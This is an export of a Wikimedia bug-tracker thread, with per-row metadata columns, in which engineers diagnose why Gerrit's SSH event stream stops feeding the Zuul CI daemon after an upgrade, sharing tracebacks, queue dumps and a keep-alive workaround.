+To expand on this, last week when we tried upgrading to 2.7-rc1-424-gef469ac we hit a bunch of problems so we rolled back. However, I rolled too far back to 2.6-rc0-144-gb1dadd2.war instead of 2.6-rc0-154-gfcdb34b which lacked the SSH timeout fix mentioned above.",,,1370873901,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+207682,Zuul: Gerrit's ssh event stream unavailable,"We previously rolled back to a gerrit that exposed the problem again :-(
+
+In case we ever do this again: To keep the zuul<->gerrit connection
+alive, it suffices to have at least one event fed to zuul each 10
+minutes.
+
+So for example clone our gerrit-ping repo.
+Restore
+  https://gerrit.wikimedia.org/r/#/c/58060/
+Fetch patch set 1.
+And run
+
+  while true ; do date ; ssh gerrit.wikimedia.org gerrit review -m ""'recheck'"" --verified 0 75be73703978e75a25d5e3bb5685c51580af3060 ; sleep 240 ; done
+
+in a shell (I had ssh configured to automatically supply username and gerrit port).
+
+Gerrit 2.6-rc0-154-gfcdb34b is the first version that we deployed and
+contained the fix.",,,1370873749,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,1,0
+207674,Zuul: Gerrit's ssh event stream unavailable,*** Bug 49330 has been marked as a duplicate of this bug. ***,,,1370869884,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+207665,Zuul: Gerrit's ssh event stream unavailable,"(In reply to comment #21)
+> Lowering priority and severity since we have a workaround now.
+
+Now actually doing so for priority too.",,,1368525775,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1
+207656,Zuul: Gerrit's ssh event stream unavailable,Lowering priority and severity since we have a workaround now.,,,1365494859,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+207651,Zuul: Gerrit's ssh event stream unavailable,*** Bug 47004 has been marked as a duplicate of this bug. ***,,,1365449902,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+207645,Zuul: Gerrit's ssh event stream unavailable,Deployed the upstream patch just now.,,,1365422685,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+207641,Zuul: Gerrit's ssh event stream unavailable,"(In reply to comment #12)
+> (In reply to comment #10)
+> > https://gerrit-review.googlesource.com/#/c/44351/
+> > got submitted to upstream gerrit.
+> > 
+> 
+> It hasn't been reviewed / merged yet however. How long are we willing to
+> wait?
+> Can we apply it to our fork for now?
+> 
+> Jenkins being down is causing lots of workflow problems throughout the
+> different projects.
+
+We don't have a fork, we use vanilla Gerrit :)
+But yes, I'm looking into deploying this now rather than waiting on upstream to merge.",,,1365417296,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+207636,Zuul: Gerrit's ssh event stream unavailable,"Until we can deploy a new gerrit build, we prevent timeouts by forcing a
+recheck on
+https://gerrit.wikimedia.org/r/#/c/58060/
+every 4 minutes.",,,1365413039,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0
+207632,Zuul: Gerrit's ssh event stream unavailable,Related URL: https://gerrit.wikimedia.org/r/58063 (Gerrit Change I431ff970596aae03b3ab5276303ed18574892b13),,,1365411081,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+207628,Zuul: Gerrit's ssh event stream unavailable,Related URL: https://gerrit.wikimedia.org/r/58060 (Gerrit Change Ie0b3b0a5d77a2192abd09a934e780b8e622a1edd),,,1365410487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+207625,Zuul: Gerrit's ssh event stream unavailable,Related URL: https://gerrit.wikimedia.org/r/58059 (Gerrit Change Ie0b3b0a5d77a2192abd09a934e780b8e622a1edd),,,1365408553,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+207621,Zuul: Gerrit's ssh event stream unavailable,"For the context:
+
+Zuul is a python daemon running on gallium. It establish a ssh connection as jenkins-bot on manganese.wikimedia.org and runs the 'gerrit stream-events' command.   It expect JSON object to be returned.
+
+Looking at the Zuul log (fgrep GerritWatcher /var/log/zuul/zuul.log), it does emit a stacktrace every 10 minutes:
+
+
+2013-04-08 05:50:48,028 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
+2013-04-08 06:00:53,176 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
+2013-04-08 06:10:58,266 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
+2013-04-08 06:21:03,383 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
+2013-04-08 06:31:08,472 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
+2013-04-08 06:41:13,594 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
+2013-04-08 06:51:18,687 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
+2013-04-08 07:01:23,782 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
+
+A full trace is:
+
+
+2013-04-08 00:12:10,016 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
+Traceback (most recent call last):
+  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 68, in _run
+    self._listen(stdout, stderr)
+  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 52, in _listen
+    self._read(stdout)
+  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 39, in _read
+    data = json.loads(l)
+  File ""/usr/lib/python2.7/json/__init__.py"", line 326, in loads
+    return _default_decoder.decode(s)
+  File ""/usr/lib/python2.7/json/decoder.py"", line 366, in decode
+    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
+  File ""/usr/lib/python2.7/json/decoder.py"", line 384, in raw_decode
+    raise ValueError(""No JSON object could be decoded"")
+ValueError: No JSON object could be decoded
+
+
+Which is stream-events sending some invalid JSON, most probably something like ""Connection timed out after 10 minutes"".    It seems Zuul properly reconnect the ssh connection.
+
+
+Whenever the stream-events for Zuul, it is also blocked for any other user even on a fresh new connection.  For example, I could run the stream-events command using my own account, fill a comment in Gerrit and I get no event on the channel.",,,1365407692,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-12,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+207615,Zuul: Gerrit's ssh event stream unavailable,"(In reply to comment #10)
+> https://gerrit-review.googlesource.com/#/c/44351/
+> got submitted to upstream gerrit.
+> 
+
+It hasn't been reviewed / merged yet however. How long are we willing to wait? Can we apply it to our fork for now?
+
+Jenkins being down is causing lots of workflow problems throughout the different projects.",,,1365397526,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+207608,Zuul: Gerrit's ssh event stream unavailable,"Raising importance, this needs fixing ASAP. We need testing. Not just to save work, but because we (and by design and intention) rely on it automatically happen and performing the merge action on approval.
+
+Also the lack of postmerge events is blocking (auto-deploy for certain projects).",,,1365391228,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-12,,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+207602,Zuul: Gerrit's ssh event stream unavailable,"Although I cannot reliably reproduce the problem, the culprit seems to
+be gerrit's version bump of Apache SSHD to 0.6.0, which comes with
+closing of idle ssh connections.
+
+Upon 10 minutes of inactivity, gerrit disconnects Zuul, and Zuul has
+to reconnect. Gerrit accepts the connection, but sometimes refuses to
+stream events over the new connection. There seems to be some race
+condition in gerrit when Zuul reconnects.
+
+We can mitigate the problem by having at least 1 commit every 10
+minutes... Go, programmers go :-))
+
+To also have a solution until we get that commit density 24/7,
+https://gerrit-review.googlesource.com/#/c/44351/
+got submitted to upstream gerrit.
+
+(We cannot simply downgrade gerrit to the last known good version, as
+that would require database schema downgrading, which currently is not
+supported by gerrit)",,,1365379934,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0
+207597,Zuul: Gerrit's ssh event stream unavailable,"Stuck again but this time show-queue gives me:
+
+Task     State                 Command
+------------------------------------------------------------------------------
+5229a073                       git-upload-pack '/mediawiki/extensions/VisualEditor' (shirayuki)
+aad42f27 07:18:57.201          inside-wmf/mediawiki/extensions/FundraisingEmailUnsubscribe
+------------------------------------------------------------------------------
+
+Logged a message on IRC about it and pinged ops list.",,,1365319742,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,0
+207590,Zuul: Gerrit's ssh event stream unavailable,"Changing back to git/gerrit. Zuul has no issue, it is Gerrit holding the events and not emitting them.",,,1365318838,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+207583,Zuul: Gerrit's ssh event stream unavailable,"The Zuul log is full of the following:
+
+2013-04-06 17:02:55,441 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
+Traceback (most recent call last):
+  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 68, in _run
+    self._listen(stdout, stderr)
+  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 52, in _listen
+    self._read(stdout)
+  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 39, in _read
+    data = json.loads(l)
+  File ""/usr/lib/python2.7/json/__init__.py"", line 326, in loads
+    return _default_decoder.decode(s)
+  File ""/usr/lib/python2.7/json/decoder.py"", line 366, in decode
+    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
+  File ""/usr/lib/python2.7/json/decoder.py"", line 384, in raw_decode
+    raise ValueError(""No JSON object could be decoded"")
+ValueError: No JSON object could be decoded",,,1365268135,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1
+207575,Zuul: Gerrit's ssh event stream unavailable,"Restarted again, since stram-events hung. The output from the queue is kind of weird & concerning:
+
+$ ssh gerrit.wikimedia.org gerrit show-queue -w
+Task     State                 Command
+------------------------------------------------------------------------------
+9c0dc448                       com.google.gerrit.sshd.commands.StreamEvents$3@6435207f
+85d6cd95                       com.google.gerrit.sshd.commands.StreamEvents$3@5be8a53e
+c54125b8                       com.google.gerrit.sshd.commands.StreamEvents$3@6b8b896
+a0d428db                       com.google.gerrit.sshd.commands.StreamEvents$3@495e834c
+0323c3c0                       com.google.gerrit.sshd.commands.StreamEvents$3@5bfe1835
+49cc90ac                       com.google.gerrit.sshd.commands.StreamEvents$3@6e76ec2
+e9bf84a4                       com.google.gerrit.sshd.commands.StreamEvents$3@44188618
+4617a0ff                       com.google.gerrit.sshd.commands.StreamEvents$3@260bb495
+5e8f7686                       com.google.gerrit.sshd.commands.StreamEvents$3@4a7cb5b6
+fe9f4ab9 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@40811f5d
+3e416208 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7194d12c
+1e449e17 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5d3233c0
+de9a86cc waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7efe402f
+9ea40e12 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@ae3b20d
+bea9d2e8 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6abe7910
+be3472ba waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6130d9f5
+5e4a1628 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4e3595ac
+1915a152 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@417de5ee
+3943c55a waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1ff57751
+9938b1f3 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5a31e6f7
+f911ad68 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2329064
+593eb9dd waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@f04a851
+9982f1fc waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@30828dd9
+665afa9e waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2c6c773b
+066e9e41 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@507d946
+23f714d9 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4b2eba70
+0ff474d2 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@68d2359f
+6fc0906b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@40be8f7c
+835cc5a8 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1ebe3719
+63619163 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5a135a13
+c3563d8b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2c7ec398
+a35b09b3 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@365b46fa
+0370d533 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2290e2f7
+e36ca160 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5624d7db
+436a4d46 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@cd7970c
+23671980 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1dfd9b6a
+63fd11f8 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@74e65b87
+83fda551 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3f833806
+5d722e74 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3fd3327d
+bd77aa62 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4297cd47
+9d7c2648 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7c261278
+bdab2a74 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2786c3f5
+baa810b1 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@ab1e19
+7f44cb17 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6244fba6
+bf4ec337 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@194923d6
+df493731 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@10cfc392
+ff2f5b61 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4649853e
+1f334fd3 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4cacd7f
+7f160b2c waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1ee581b1
+046d445a waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6da59b4f
+64b8c066 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@137797c6
+848db42c waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@108d5226
+4926f573 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2e0c4547
+8bfdc551 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1e794f4e
+2b8db900 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2e459983
+6b02d146 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@27984fef
+cb073d54 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5b617f30
+ab0c4979 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5de5572e
+eb0d6177 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@45a5965c
+0b11d594 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7a3295bc
+783069a2 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@a7e838
+46810952 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@f7eb4de
+267e5542 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7bbebd2a
+868b8174 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@27754fde
+c694199b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@6ce8c0f
+6688cd79 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@624d3046
+c6e3b962 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@479462c4
+06f1d196 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5ee05692
+554535c0 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3830aedd
+b235a762 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4284bfd
+f23f9f40 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@399c7615
+923ae350 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4f0c7a3f
+d244dbcb waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@7ac6658a
+3249b7e2 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@773485fe
+7253af98 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3c2de6a4
+1246f3d4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@698137d9
+5250eb8b waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@5a53bbe7
+5288eb78 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2f556905
+cc3d20e4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@1061df8a
+2c32bc16 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@2279bdac
+0c2fb8ac waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@669378e2
+0c5a59a0 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@66280ecb
+6c4e75e4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@4fe365d2
+4c4b71d4 waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@99ae56d
+f650f82e waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@184c5c08
+e71cc87a waiting ....          com.google.gerrit.sshd.commands.StreamEvents$3@3d2e1dae
+d36dcb8e 12:18:22.186          push gerritslave@formey.wikimedia.org:/var/lib/gerrit2/review_site/git/mediawiki/extensions/FundraisingEmailUnsubscribe.git
+da7faee1 19:42:45.214          Log File Compressor
+------------------------------------------------------------------------------
+  88 tasks",,,1365250715,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-13,,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+207570,Zuul: Gerrit's ssh event stream unavailable,"(In reply to comment #4)
+> Ariel restarted Gerrit on manganese. That unbroken the stream-events thus
+> cleaning the issue.
+
+Thanks. Lowering priority.",,,1365156991,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+207565,Zuul: Gerrit's ssh event stream unavailable,"Ariel restarted Gerrit on manganese. That unbroken the stream-events thus cleaning the issue.
+
+I am leaving this bug open for monitoring / investigation.  There must be some regression in Gerrit since we upgraded it yesterday.",,,1365154819,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+207556,Zuul: Gerrit's ssh event stream unavailable,Restarted Zuul just in case: nothing. Definitely on Gerrit side.,,,1365154404,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+207547,Zuul: Gerrit's ssh event stream unavailable,"Gerrit has been upgraded with https://gerrit.wikimedia.org/r/#/c/57508/
+Which got merged on Apr 4, 2013 20:29 (UTC).
+
+Apparently Gerrit got restarted at 20:44 (UTC), the Zuul log shows errors 500 at that time.
+
+The last event received by Zuul was on 2013-04-05 04:26:56 (UTC) then the JSON events cant be decoded / are not received:
+
+2013-04-05 04:29:46,092 ERROR gerrit.GerritWatcher: Exception on ssh event stream:
+Traceback (most recent call last):
+  File ""/usr/local/lib/python2.7/dist-packages/zuul-0.0.151.e9d929a-py2.7.egg/zuul/lib/gerrit.py"", line 68, in _run
+    self._listen(stdout, stderr)
